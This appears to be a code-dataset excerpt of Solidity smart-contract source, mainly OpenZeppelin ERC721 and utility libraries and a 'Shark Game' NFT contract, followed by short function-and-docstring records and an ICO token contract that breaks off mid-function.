uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./interfaces/ISharks.sol";
import "./interfaces/ICoral.sol";
import "./interfaces/ITraits.sol";
import "./interfaces/IChum.sol";
import "./interfaces/IRandomizer.sol";
contract Sharks is ISharks, ERC721Enumerable, Ownable, Pausable {
struct LastWrite {
uint64 time;
uint64 blockNum;
}
event TokenMinted(uint256 indexed tokenId, ISharks.SGTokenType indexed tokenType);
event TokenStolen(uint256 indexed tokenId, ISharks.SGTokenType indexed tokenType);
// max number of tokens that can be minted: 30000 in production
uint16 public maxTokens;
// number of tokens that can be claimed for a fee: 5,000
uint16 public PAID_TOKENS;
// number of tokens have been minted so far
uint16 public override minted;
// mapping from tokenId to a struct containing the token's traits
mapping(uint256 => SGToken) private tokenTraits;
// Tracks the last block and timestamp that a caller has written to state.
// Disallow some access to functions if they occur while a change is being written.
mapping(address => LastWrite) private lastWriteAddress;
mapping(uint256 => LastWrite) private lastWriteToken;
// count of traits for each type
// 0 - 1 are minnows, 2 - 3 are sharks, 4 - 5 are orcas
uint8[6] public traitCounts;
// reference to the Tower contract to allow transfers to it without approval
ICoral public coral;
// reference to Traits
ITraits public traits;
// reference to Randomizer
IRandomizer public randomizer;
// address => allowedToCallFunctions
mapping(address => bool) private admins;
constructor(uint16 _maxTokens) ERC721("Shark Game", "SHRK") {
maxTokens = _maxTokens;
PAID_TOKENS = _maxTokens / 6;
_pause();
// Minnows
// body
traitCounts[0] = 3;
// accessory
traitCounts[1] = 23;
// Sharks
// body
traitCounts[2] = 3;
// accessory
traitCounts[3] = 23;
// Orcas
// body
traitCounts[4] = 3;
// accessory
traitCounts[5] = 23;
}
/** CRITICAL TO SETUP / MODIFIERS */
modifier requireContractsSet() {
require(address(traits) != address(0) && address(coral) != address(0) && address(randomizer) != address(0), "Contracts not set");
_;
}
modifier blockIfChangingAddress() {
require(admins[_msgSender()] || lastWriteAddress[tx.origin].blockNum < block.number, "hmmmm what doing?");
_;
}
modifier blockIfChangingToken(uint256 tokenId) {
require(admins[_msgSender()] || lastWriteToken[tokenId].blockNum < block.number, "hmmmm what doing?");
_;
}
function setContracts(address _traits, address _coral, address _rand) external onlyOwner {
traits = ITraits(_traits);
coral = ICoral(_coral);
randomizer = IRandomizer(_rand);
}
/** EXTERNAL */
function getTokenWriteBlock(uint256 tokenId) external view override returns(uint64) {
require(admins[_msgSender()], "Only admins can call this");
return lastWriteToken[tokenId].blockNum;
}
/**
* Mint a token - any payment / game logic should be handled in the game contract.
* This will just generate random traits and mint a token to a designated address.
*/
function mint(address recipient, uint256 seed) external override whenNotPaused {
require(admins[_msgSender()], "Only admins can call this");
require(minted + 1 <= maxTokens, "All tokens minted");
minted++;
generate(minted, seed);
if(tx.origin != recipient && recipient != address(coral)) {
emit TokenStolen(minted, this.getTokenType(minted));
}
_safeMint(recipient, minted);
}
/**
* Burn a token - any game logic should be handled before this function.
*/
function burn(uint256 tokenId) external override whenNotPaused {
require(admins[_msgSender()], "Only admins can call this");
require(ownerOf(tokenId) == tx.origin, "Oops you don't own that");
_burn(tokenId);
}
function updateOriginAccess(uint16[] memory tokenIds) external override {
require(admins[_msgSender()], "Only admins can call this");
uint64 blockNum = uint64(block.number);
uint64 time = uint64(block.timestamp);
lastWriteAddress[tx.origin] = LastWrite(time, blockNum);
for (uint256 i = 0; i < tokenIds.length; i++) {
lastWriteToken[tokenIds[i]] = LastWrite(time, blockNum);
}
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override(ERC721, IERC721) blockIfChangingToken(tokenId) {
// allow admin contracts to be send without approval
if(!admins[_msgSender()]) {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
}
_transfer(from, to, tokenId);
}
/** INTERNAL */
/**
* generates traits for a specific token, checking to make sure it's unique
* @param tokenId the id of the token to generate traits for
* @param seed a pseudorandom 256 bit number to derive traits from
* @return t - a struct of traits for the given token ID
*/
function generate(uint256 tokenId, uint256 seed) internal returns (SGToken memory t) {
t = selectTraits(seed);
tokenTraits[tokenId] = t;
emit TokenMinted(tokenId, this.getTokenType(minted));
}
/**
* chooses a random trait
* @param seed portion of the 256 bit seed to remove trait correlation
* @param traitType the trait type to select a trait for
* @return the ID of the randomly selected trait
*/
function selectTrait(uint16 seed, uint8 traitType) internal view returns (uint8) {
return uint8(seed) % traitCounts[traitType];
}
/**
* selects the species and all of its traits based on the seed value
* @param seed a pseudorandom 256 bit number to derive traits from
* @return t - a struct of randomly selected traits
*/
function selectTraits(uint256 seed) internal view returns (SGToken memory t) {
bool orcasEnabled = minted > 5000;
uint256 typePercent = (seed & 0xFFFF) % 100;
t.tokenType = typePercent < 90 ? ISharks.SGTokenType.MINNOW :
typePercent < 92 && orcasEnabled ? ISharks.SGTokenType.ORCA : ISharks.SGTokenType.SHARK;
uint8 shift = uint8(t.tokenType) * 2;
seed >>= 16;
t.base = selectTrait(uint16(seed & 0xFFFF), 0 + shift);
seed >>= 16;
t.accessory = selectTrait(uint16(seed & 0xFFFF), 1 + shift);
seed >>= 16;
}
/** READ */
/**
* checks if a token is a Wizards
* @param tokenId the ID of the token to check
* @return wizard - whether or not a token is a Wizards
*/
function getTokenType(uint256 tokenId) external view override blockIfChangingToken(tokenId) returns (ISharks.SGTokenType) {
// Sneaky dragons will be slain if they try to peep this after mint. Nice try.
ISharks.SGToken memory s = tokenTraits[tokenId];
return s.tokenType;
}
function getMaxTokens() external view override returns (uint16) {
return maxTokens;
}
function getPaidTokens() external view override returns (uint16) {
return PAID_TOKENS;
}
/** ADMIN */
/**
* updates the number of tokens for sale
*/
function setPaidTokens(uint16 _paidTokens) external onlyOwner {
PAID_TOKENS = _paidTokens;
}
/**
* enables owner to pause / unpause minting
*/
function setPaused(bool _paused) external requireContractsSet onlyOwner {
if (_paused) _pause();
else _unpause();
}
/**
* enables an address to mint / burn
* @param addr the address to enable
*/
function addAdmin(address addr) external onlyOwner {
admins[addr] = true;
}
/**
* disables an address from minting / burning
* @param addr the address to disable
*/
function removeAdmin(address addr) external onlyOwner {
admins[addr] = false;
}
/** Traits */
function getTokenTraits(uint256 tokenId) external view override blockIfChangingAddress blockIfChangingToken(tokenId) returns (SGToken memory) {
return tokenTraits[tokenId];
}
function tokenURI(uint256 tokenId) public view override(ERC721, ISharks) blockIfChangingAddress blockIfChangingToken(tokenId) returns (string memory) {
require(_exists(tokenId), "Token ID does not exist");
return traits.tokenURI(tokenId);
}
/** OVERRIDES FOR SAFETY */
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override(ERC721Enumerable, IERC721Enumerable) blockIfChangingAddress returns (uint256) {
// Y U checking on this address in the same block it's being modified... hmmmm
require(admins[_msgSender()] || lastWriteAddress[owner].blockNum < block.number, "hmmmm what doing?");
uint256 tokenId = super.tokenOfOwnerByIndex(owner, index);
require(admins[_msgSender()] || lastWriteToken[tokenId].blockNum < block.number, "hmmmm what doing?");
return tokenId;
}
function balanceOf(address owner) public view virtual override(ERC721, IERC721) blockIfChangingAddress returns (uint256) {
// Y U checking on this address in the same block it's being modified... hmmmm
require(admins[_msgSender()] || lastWriteAddress[owner].blockNum < block.number, "hmmmm what doing?");
return super.balanceOf(owner);
}
function ownerOf(uint256 tokenId) public view virtual override(ERC721, IERC721) blockIfChangingAddress blockIfChangingToken(tokenId) returns (address) {
address addr = super.ownerOf(tokenId);
// Y U checking on this address in the same block it's being modified... hmmmm
require(admins[_msgSender()] || lastWriteAddress[addr].blockNum < block.number, "hmmmm what doing?");
return addr;
}
function tokenByIndex(uint256 index) public view virtual override(ERC721Enumerable, IERC721Enumerable) returns (uint256) {
uint256 tokenId = super.tokenByIndex(index);
// NICE TRY TOAD DRAGON
require(admins[_msgSender()] || lastWriteToken[tokenId].blockNum < block.number, "hmmmm what doing?");
return tokenId;
}
function approve(address to, uint256 tokenId) public virtual override(ERC721, IERC721) blockIfChangingToken(tokenId) {
super.approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override(ERC721, IERC721) blockIfChangingToken(tokenId) returns (address) {
return super.getApproved(tokenId);
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) blockIfChangingAddress {
super.setApprovalForAll(operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override(ERC721, IERC721) blockIfChangingAddress returns (bool) {
return super.isApprovedForAll(owner, operator);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override(ERC721, IERC721) blockIfChangingToken(tokenId) {
super.safeTransferFrom(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override(ERC721, IERC721) blockIfChangingToken(tokenId) {
super.safeTransferFrom(from, to, tokenId, _data);
}
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
interface IChum {
function mint(address to, uint256 amount) external;
function burn(address from, uint256 amount) external;
function updateOriginAccess() external;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "./ISharks.sol";
interface ICoral {
function addManyToCoral(address account, uint16[] calldata tokenIds) external;
function randomTokenOwner(ISharks.SGTokenType tokenType, uint256 seed) external view returns (address);
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
interface IRandomizer {
function random() external returns (uint256);
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
interface ISharks is IERC721Enumerable {
// game data storage
enum SGTokenType {
MINNOW,
SHARK,
ORCA
}
struct SGToken {
SGTokenType tokenType;
uint8 base;
uint8 accessory;
}
function minted() external returns (uint16);
function updateOriginAccess(uint16[] memory tokenIds) external;
function mint(address recipient, uint256 seed) external;
function burn(uint256 tokenId) external;
function getMaxTokens() external view returns (uint16);
function getPaidTokens() external view returns (uint16);
function tokenURI(uint256 tokenId) external view returns (string memory);
function getTokenTraits(uint256 tokenId) external view returns (SGToken memory);
function getTokenWriteBlock(uint256 tokenId) external view returns(uint64);
function getTokenType(uint256 tokenId) external view returns(SGTokenType);
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
interface ITraits {
function tokenURI(uint256 tokenId) external view returns (string memory);
}
|
Mint a token - any payment / game logic should be handled in the game contract. This will just generate random traits and mint a token to a designated address./
|
function mint(address recipient, uint256 seed) external override whenNotPaused {
require(admins[_msgSender()], "Only admins can call this");
require(minted + 1 <= maxTokens, "All tokens minted");
minted++;
generate(minted, seed);
if(tx.origin != recipient && recipient != address(coral)) {
emit TokenStolen(minted, this.getTokenType(minted));
}
_safeMint(recipient, minted);
}
| 10,272,830 |
./full_match/1/0x8b50a72B86bC55a49eF034Ef961d2d4e69b2681e/sources/VotableProxyAdmin.Full.sol
|
Changes the admin of `proxy` to `newAdmin`. Requirements: - This contract must be the current admin of `proxy`./
|
function changeProxyAdmin(
TransparentUpgradeableProxy proxy,
address newAdmin
) public onlyOwner {
proxy.changeAdmin(newAdmin);
}
| 4,914,036 |
./full_match/1313161554/0xb1c5b2Ca2F0aF1424897aB7377cbeDA4AB9A6699/sources/BatchNFTMinter.sol
|
used for handling ETH wrapping into WETH to be stored in smart contracts upon deposit, ... and used to unwrap WETH into ETH to deliver when withdrawing from smart contracts
|
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}
}
| 13,230,638 |
./full_match/1/0x87AAdE1067Ed0276ec9BEf6db8E17Abe27A6B454/sources/contracts/TruthPost.sol
|
@inheritdoc ITruthPost
|
function withdrawFeesAndRewardsForAllRounds(
uint256 _disputeID,
address payable _contributor,
RulingOptions _ruling
) external override {
DisputeData storage dispute = disputes[_disputeID];
uint256 noOfRounds = dispute.rounds.length;
for (uint256 roundNumber = 0; roundNumber < noOfRounds; roundNumber++) {
withdrawFeesAndRewards(_disputeID, _contributor, roundNumber, _ruling);
}
}
| 4,921,997 |
./full_match/1/0x2c75A27616117C680AD289590D278C8294fCFE9e/sources/contracts/PolygonZkEVM.sol
|
Allow the admin to set the trusted sequencer URL newTrustedSequencerURL URL of trusted sequencer/
|
function setTrustedSequencerURL(
string memory newTrustedSequencerURL
) external onlyAdmin {
trustedSequencerURL = newTrustedSequencerURL;
emit SetTrustedSequencerURL(newTrustedSequencerURL);
}
| 4,995,592 |
pragma solidity ^0.4.11;
// ================= Ownable Contract start =============================
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
// ================= Ownable Contract end ===============================
// ================= Safemath Contract start ============================
/* taking ideas from FirstBlood token */
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
// ================= Safemath Contract end ==============================
// ================= ERC20 Token Contract start =========================
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// ================= ERC20 Token Contract end ===========================
// ================= Standard Token Contract start ======================
contract StandardToken is ERC20, SafeMath {
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4) ;
_;
}
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success){
balances[msg.sender] = safeSubtract(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSubtract(balances[_from], _value);
allowed[_from][msg.sender] = safeSubtract(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
// ================= Standard Token Contract end ========================
// ================= Pausable Token Contract start ======================
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require (!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require (paused) ;
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
// ================= Pausable Token Contract end ========================
// ================= IcoToken start =======================
contract IcoToken is SafeMath, StandardToken, Pausable {
string public name;
string public symbol;
uint256 public decimals;
string public version;
address public icoContract;
function IcoToken(
string _name,
string _symbol,
uint256 _decimals,
string _version
)
{
name = _name;
symbol = _symbol;
decimals = _decimals;
version = _version;
}
function transfer(address _to, uint _value) whenNotPaused returns (bool success) {
return super.transfer(_to,_value);
}
function approve(address _spender, uint _value) whenNotPaused returns (bool success) {
return super.approve(_spender,_value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return super.balanceOf(_owner);
}
function setIcoContract(address _icoContract) onlyOwner {
if (_icoContract != address(0)) {
icoContract = _icoContract;
}
}
function sell(address _recipient, uint256 _value) whenNotPaused returns (bool success) {
assert(_value > 0);
require(msg.sender == icoContract);
